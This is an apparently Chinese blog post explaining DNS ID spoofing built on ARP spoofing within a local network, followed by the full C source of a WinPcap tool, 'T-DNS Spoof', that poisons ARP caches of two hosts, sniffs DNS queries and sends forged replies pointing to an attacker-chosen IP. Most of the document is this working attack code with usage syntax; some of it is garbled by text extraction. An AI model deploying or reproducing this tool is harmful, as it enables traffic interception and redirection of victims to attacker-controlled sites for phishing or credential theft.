2012年（13）
分类：
2012-02-14 23:36:52
一.DNS协议的相关数据结构
DNS数据报:
typedef struct dns
{
unsigned short id;
//标识，通过它客户端可以将DNS的请求与应答相匹配;
unsigned short flags;
//标志:[QR | opcode | AA| TC| RD| RA | zero | rcode ]
unsigned short quests;
//问题数目;
unsigned short answers;
//资源记录数目;
unsigned short author;
//授权资源记录数目;
unsigned short addition;
//额外资源记录数目;
}DNS,*PDNS;
在16位的标志中:QR位判断是查询/响应报文，opcode区别查询类型，AA判断是否为授权回答，TC判断是否可截断，RD判断是否期望递归查询，RA判断是否为可用递归，zero必须为0，rcode为返回码字段。
DNS查询数据报:
typedef struct query
{
unsinged char *name;
//查询的域名,这是一个大小在0到63之间的字符串;
unsigned short type;
//查询类型，大约有20个不同的类型
unsigned short classes;
//查询类,通常是A类既查询IP地址。
}QUERY,*PQUERY;
DNS响应数据报:
typedef struct response
{
unsigned short name;
//查询的域名
unsigned short type;
//查询类型
unsigned short classes;
//类型码
unsigned int ttl;
//生存时间
unsigned short length;
//资源数据长度
unsigned int addr;
//资源数据
}RESPONSE,*PRESPONSE;
二.下DNS ID欺骗的原理
我们可以看到，在DNS数据报头部的id(标识)是用来匹配响应和请求数据报的。现在，让我们来看看域名解析的整个过程。客户端首先以特定的标识向DNS服务器发送域名查询数据报，在DNS服务器查询之后以相同的ID号给客户端发送域名响应数据报。这时客户端会将收到的DNS响应数据报的ID和自己发送的查询数据报ID相比较，如果匹配则表明接收到的正是自己等待的数据报，如果不匹配则丢弃之。
假如我们能够伪装DNS服务器提前向客户端发送响应数据报，那么客户端的DNS缓存里域名所对应的IP就是我们自定义的IP了，同时客户端也就被带到了我们希望的网站。条件只有一个，那就是我们发送的ID匹配的DSN响应数据报在DNS服务器发送的响应数据报之前到达客户端。下图清楚的展现了DNS ID欺骗的过程:
Client <--response--| . . . . . .. . . . . . . . . . DNS Server
|<--[a.b.c == 112.112.112.112]-- Your Computer
到此，我想大家都知道了DNS ID欺骗的实质了，那么如何才能实现呢?这要分两种情况:
1. 本地主机与DNS服务器，本地主机与客户端主机均不在同一个局域网内,方法有以下几种:向客户端主机随机发送大量DNS响应数据报，命中率很低;向DNS服务器发起拒绝服务攻击，太粗鲁;BIND漏洞，使用范围比较窄。
2. 本地主机至少与DNS服务器或客户端主机中的某一台处在同一个局域网内:我们可以通过ARP欺骗来实现可靠而稳定的DNS ID欺骗，下面我们将详细讨论这种情况。
首先我们进行DNS ID欺骗的基础是ARP欺骗，也就是在局域网内同时欺骗网关和客户端主机(也可能是欺骗网关和DNS服务器，或欺骗DNS服务器和客户端主机)。我们以客户端的名义向网关发送ARP响应数据报，不过其中将源MAC地址改为我们自己主机的MAC地址;同时以网关的名义向客户端主机发送ARP响应数据报，同样将源MAC地址改为我们自己主机的MAC地址。这样以来，网关看来客户端的MAC地址就是我们主机的MAC地址;客户端也认为网关的MAC地址为我们主机的MAC地址。由于在局域网内数据报的传送是建立在MAC地址之上了，所以网关和客户端之间的数据流通必须先通过本地主机。
在监视网关和客户端主机之间的数据报时，如果发现了客户端发送的DNS查询数据报(目的端口为53)，那么我们可以提前将自己构造的DNS响应数据报发送到客户端。注意，我们必须提取有客户端发送来的DNS查询数据报的ID信息，因为客户端是通过它来进行匹配认证的，这就是一个我们可以利用的DNS漏洞。这样客户端会先收到我们发送的DNS响应数据报并访问我们自定义的网站，虽然客户端也会收到DNS服务器的响应报文，不过已经来不及了，哈哈。
三.核心代码分析
主程序创建两个线程，一个线程进行实时的ARP欺骗，另一个线程监听接收到的数据报，若发现有域名服务查询数据报，则立即向客户端发送自定义的DSN响应数据报。测试环境: + VC6.0 + Winpcap_3.0_alpha，:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1。
1.sniff线程:
PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS);
//将网卡设置为混杂模式
PacketSetBuff(lpadapter,500*1024);
//设置网络适配器的内核缓存;
PacketSetReadTimeout(lpadapter,1);
//设置等待时间;
PacketReceivePacket(lpadapter,lppacketr,TRUE);
//接收网络数据报;
checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
//计算校验和;
PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));
//初始化一个_PACKET结构，发送DNS响应数据报;
2.arpspoof线程;
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
//初始化ARP响应数据报;
PacketSendPacket(lpadapter,lppackets,TRUE);
//发送ARP欺骗的响应数据报;
3.getmac()函数
GetAdaptersInfo(padapterinfo,&adapterinfosize);
//获取网络适配器的属性;
SendARP(destip,0,pulmac,&ullen);
//发送ARP请求数据报，过去网络主机的MAC地址;
4.main()函数
PacketGetAdapterNames((char *)adaptername,&adapterlength);
//获得本地主机的网络适配器列表和描述;
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
//打开指定的网络适配器;
CreateThread(NULL,0,sniff,NULL,0,&threadrid);
CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
//创建两个线程;
WaitForMultipleObjects(2,thread,FALSE,INFINITE);
//等待其中的某个线程结束;
四.小结与后记
局域网内的是一个值得大家关注的问题，往往容易发起各种欺骗攻击，这是局域网自身的属性所决定的--网络共享。本文所讲解的DNS ID欺骗是基于ARP欺骗之上的网络攻击，如果在广域网上，则比较麻烦。不过也有一些例外情况:如果IE中使用，欺骗不能进行，因为这时客户端并不会在本地进行域名请求;如果你访问的不是网站主页，而是相关子目录的文件，这样你在自定义的网站上不会找到相关的文件，登陆以失败告终。如果你不幸被欺骗了，先禁用本地连接，然后启用本地连接就可以清除DNS缓存。
五.附件源代码
#include
#include
#include
#define ETH_IP 0x0800
#define ETH_ARP
0x0806
#define ARP_REQUEST 0x0001
#define ARP_REPLY 0x0002
#define ARP_HARDWARE 0x0001
#define MAX_NUM_ADAPTER 10
#define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct iphdr
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char protocol;
unsigned short checksum;
unsigned int sourceip;
unsigned int destip;
}IPHDR,*PIPHDR;
typedef struct psd
{
unsigned int saddr;
unsigned int daddr;
char mbz;
char ptcl;
unsigned short udpl;
}PSD,*PPSD;
typedef struct udphdr
{
unsigned short souceport;
unsigned short destport;
unsigned short length;
unsigned short checksum;
}UDPHDR,*PUDPHDR;
typedef struct dns
{
unsigned short id;
unsigned short flags;
unsigned short quests;
unsigned short answers;
unsigned short author;
unsigned short addition;
}DNS,*PDNS;
typedef struct query
{
unsigned short type;
unsigned short classes;
}QUERY,*PQUERY;
typedef struct response
{
unsigned short name;
unsigned short type;
unsigned short classes;
unsigned int ttl;
unsigned short length;
unsigned int addr;
}RESPONSE,*PRESPONSE;
#pragma pack(pop)
unsigned short checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum+=*buffer++;
size-=sizeof(unsigned short);
}
if(size)
cksum+=*buffer;
cksum=(cksum>>16)+(cksum & 0xffff);
cksum+=(cksum>>16);
return (unsigned short)(~cksum);
}
LPADAPTER lpadapter=0;
LPPACKET lppacketr,lppackets;
IPAddr myip,firstip,secondip,virtualip;
UCHAR mmac[6]={0},fmac[6]={0},smac[6]={0};
char adapterlist[MAX_NUM_ADAPTER][1024];
void start()
{
printf("===[ T-DNS Spoof, by TOo2y ]===\n");
printf("===[ TOo2y@safechina.net ]===\n");
printf(
"===[ Homepage: ]===\n");
printf("===[ Date: 10-15-2002 ]===\n\n");
return;
}
void usage()
{
printf("Usage: T-DNS Firstip Secondip Virtualip\n");
return;
}
D WINAPI sniff(LPVOID no)
{
printf("\nI am sniffing...\n");
char *buf;
char *pchar;
char temp[1024];
char sendbuf[1024];
char recvbuf[1024*250];
struct bpf_hdr *hdr;
unsigned char *dname;
unsigned long ulbytesreceived,off,ulen;
ETHDR ethr,eths;
IPHDR ipr,ips;
PSD psds;
UDPHDR udpr,udps;
DNS dnsr,dnss;
QUERY queryr,querys;
RESPONSE responses;
if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf("Warning: Unable to set the adapter to promiscuous mode!\n");
}
if(PacketSetBuff(lpadapter,500*1024)==FALSE)
{
printf("PacketSetBuff Error: %d\n",GetLastError());
return -1;
}
if(PacketSetReadTimeout(lpadapter,1)==FALSE)
{
printf("Warning: Unable to set the timeout!\n");
}
if((lppacketr=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket Receive Error: %d\n",GetLastError());
return -1;
}
PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));
while(1)
{
if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
{
break;
}
ulbytesreceived=lppacketr->ulBytesReceived;
buf=(char *)lppacketr->Buffer;
off=0;
while(off { hdr=(struct bpf_hdr *)(buf+off); off+=hdr->bh_hdrlen; pchar=(char *)(buf+off); off=Packet_ALIGN(off+hdr->bh_caplen); ethr=*(ETHDR *)pchar; if(ethr.eh_type==htons(ETH_IP)) { ipr=*(IPHDR *)(pchar+sizeof(ETHDR)); if(ipr.protocol!=17) { continue; } if((ipr.sourceip!=secondip) && (ipr.sourceip!=firstip)) { continue; } udpr=*(UDPHDR *)(pchar+sizeof(ETHDR)+sizeof(IPHDR)); ulen=ntohs(udpr.length)-sizeof(UDPHDR)-sizeof(DNS)-sizeof(QUERY); dname=(unsigned char *)malloc(ulen*sizeof(unsigned char)); if(udpr.destport==htons(53)) { printf("Get a DNS Packet...\t"); memset(sendbuf,0,sizeof(sendbuf)); memcpy(&dnsr,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR),sizeof(DNS)); memcpy(dname,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS),ulen); memcpy(&queryr.type,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen,2); memcpy(&queryr.classes,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+2,2); responses.name=htons(0xC00C); responses.type=queryr.type; responses.classes=queryr.classes; responses.ttl=0xFFFFFFFF; responses.length=htons(4); responses.addr=virtualip; querys.classes=queryr.classes; querys.type=queryr.type; dnss.id=dnsr.id; dnss.flags=htons(0x8180); dnss.quests=htons(1); dnss.answers=htons(1); dnss.author=0; dnss.addition=0; udps.souceport=udpr.destport; udps.destport=udpr.souceport; udps.length=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE)); udps.checksum=0; ips.h_lenver=(4<<4|sizeof(IPHDR)/sizeof(unsigned int)); ips.tos=0; ips.total_len=ntohs(sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE)); ips.ident=htons(12345); ips.frag_and_flags=0; ips.ttl=255; ips.protocol=IPPROTO_UDP; ips.checksum=0; ips.sourceip=ipr.destip; ips.destip=ipr.sourceip; psds.saddr=ips.sourceip; psds.daddr=ips.destip; psds.mbz=0; psds.ptcl=IPPROTO_UDP; psds.udpl=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE)); memset(temp,0,sizeof(temp)); memcpy(temp,&psds,sizeof(PSD)); memcpy(temp+sizeof(PSD),&udps,sizeof(UDPHDR)); memcpy(temp+sizeof( PSD)+sizeof(UDPHDR),&dnss,sizeof(DNS)); memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS),dname,ulen); memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen,&querys,sizeof(QUERY)); memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY),&responses,sizeof(RESPONSE)); udps.checksum=checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE)); memset(temp,0,sizeof(temp)); memcpy(temp,&ips,sizeof(IPHDR)); ips.checksum=checksum((USHORT *)temp,sizeof(IPHDR)); eths.eh_type=ethr.eh_type; memcpy(ðs.eh_src,ðr.eh_dst,6); memcpy(ðs.eh_dst,ðr.eh_src,6); memcpy(sendbuf,ðs,sizeof(ETHDR)); memcpy(sendbuf+sizeof(ETHDR),&ips,sizeof(IPHDR)); memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR),&udps,sizeof(UDPHDR)); memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR),&dnss,sizeof(DNS)); memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS),dname,ulen); memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen,&querys,sizeof(QUERY)); memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY),&responses,sizeof(RESPONSE)); PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE)); if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE) { printf("PacketSendPacket in DNS Spoof Error: %d\n",GetLastError());break; } printf("Send DNS Spoof Packet Successfully!\n"); } } } } return 0; } DWORD WINAPI arpspoof(LPVOID no) { printf("I am arpspoofing...\n\n"); char sendbuf[1024]; struct sockaddr_in fsin,ssin; ETHDR eth; ARPHDR arp; fsin.sin_addr.s_addr=firstip; ssin.sin_addr.s_addr=secondip; eth.eh_type=htons(ETH_ARP); arp.arp_hdr=htons(ARP_HARDWARE); arp.arp_pro=htons(ETH_IP); arp.arp_hln=6; arp.arp_pln=4; arp.arp_opt=htons(ARP_REPLY); do { memcpy(eth.eh_dst,fmac,6); memcpy(arp.arp_tha,fmac,6); arp.arp_tpa=firstip; arp.arp_spa=secondip; memcpy(eth.eh_src,mmac,6); memcpy(arp.arp_sha,mmac,6); memset(sendbuf,0,sizeof(sendbuf)); memcpy(sendbuf,ð,sizeof(eth)); memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp)); PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp)); if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE) { printf("PacketSendPacket in arpspoof Error: %d\n",GetLastError()); return -1; } Sleep(500); memcpy(eth.eh_dst,smac,6); memcpy(arp.arp_tha,smac,6); arp.arp_tpa=secondip; arp.arp_spa=firstip; memcpy(eth.eh_src,mmac,6); memcpy(arp.arp_sha,mmac,6); memset(sendbuf,0,sizeof(sendbuf)); memcpy(sendbuf,ð,sizeof(eth)); memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp)); PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp)); if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE) { printf("PacketSendPacket in arpspoof Error: %d\n",GetLastError()); return -1; } Sleep(500); }while(1); return 0; } BOOL getmac() { HRESULT hr; IPAddr destip; ULONG pulmac[2]; ULONG ullen; DWORD err; DWORD fixedinfosize=0; DWORD adapterinfosize=0; PIP_ADAPTER_INFO padapterinfo; PIP_ADDR_STRING paddrstr; if((err=GetAdaptersInfo(NULL,&adapterinfosize))!=0) { if(err!=ERROR_BUFFER_OVERFLOW) { printf("GetAdapterInfo size Error: %d\n",GetLastError()); return FALSE; } } if((padapterinfo=(PIP_ADAPTER_INFO)GlobalAlloc(GPTR,adapterinfosize))==NULL) { printf("Memory allocation Error: %d\n",GetLastError()); return FALSE; } if((err=GetAdaptersInfo(padapterinfo,&adapterinfosize))!=0) { printf("GetAdaptersInfo Error: %d\n",GetLastError()); return FALSE; } memcpy(mmac,padapterinfo->Address,6); paddrstr=&(padapterinfo->IpAddressList); myip=inet_addr(paddrstr->IpAddress.String); ullen=6; memset(pulmac,0xff,sizeof(pulmac)); destip=firstip; if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR) { printf( "SendARP firstip Error: %d\n",GetLastError()); return FALSE; } memcpy(fmac,pulmac,6); memset(pulmac,0xff,sizeof(pulmac)); destip=secondip; if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR) { printf("SendARP secondip Error: %d\n",GetLastError()); return FALSE; } memcpy(smac,pulmac,6); return TRUE; } int main(int argc,char *argv[]) { HANDLE thread[2]; WCHAR adaptername[8192]; WCHAR *name1,*name2; ULONG adapterlength; DWORD threadsid,threadrid; int adapternum=0,open,i; system("cls.exe"); start(); if(argc!=4) { usage(); return -1; } firstip=inet_addr(argv[1]); secondip=inet_addr(argv[2]); virtualip=inet_addr(argv[3]); if(getmac()==FALSE) { return -1; } adapterlength=sizeof(adaptername); if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE) { printf("PacketGetAdapterNames Error: %d\n",GetLastError()); return -1; } name1=adaptername; name2=adaptername; i=0; while((*name1!=\0) || (*(name1-1)!=\0)) { if(*name1==\0) { memcpy(adapterlist[i],name2,2*(name1-name2)); name2=name1+1; i++; } name1++; } adapternum=i; printf("Adapters Installed: \n"); for(i=0;i { wprintf(L"%d - %s\n",i+1,adapterlist[i]); } do { printf("\nSelect the number of the adapter to open: "); scanf("%d",&open); if(open>=1 && open<=adapternum) break; }while(open<1 || open>adapternum); lpadapter=PacketOpenAdapter(adapterlist[open-1]); if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE)) { printf("PacketOpenAdapter Error: %d\n",GetLastError()); return -1; } if((lppackets=PacketAllocatePacket())==FALSE) { printf("PacketAllocatePacket Send Error: %d\n",GetLastError()); return -1; } thread[0]=CreateThread(NULL,0,sniff,NULL,0,&threadrid); if(thread[0]==NULL) { printf("CreateThread for sniffer Error: %d\n",GetLastError()); return -1; } thread[1]=CreateThread(NULL,0,arpspoof,NULL,0,&threadsid); if(thread[1]==NULL) { printf("CreateThread for arpspoof Error: %d\n",GetLastError()); return -1; } WaitForMultipleObjects(2,thread,FALSE,INFINITE); CloseHandle(thread[0]); CloseHandle(thread[1]); PacketFreePacket(lppackets); PacketFreePacket(lppacketr); PacketCloseAdapter(lpadapter); return 0; }
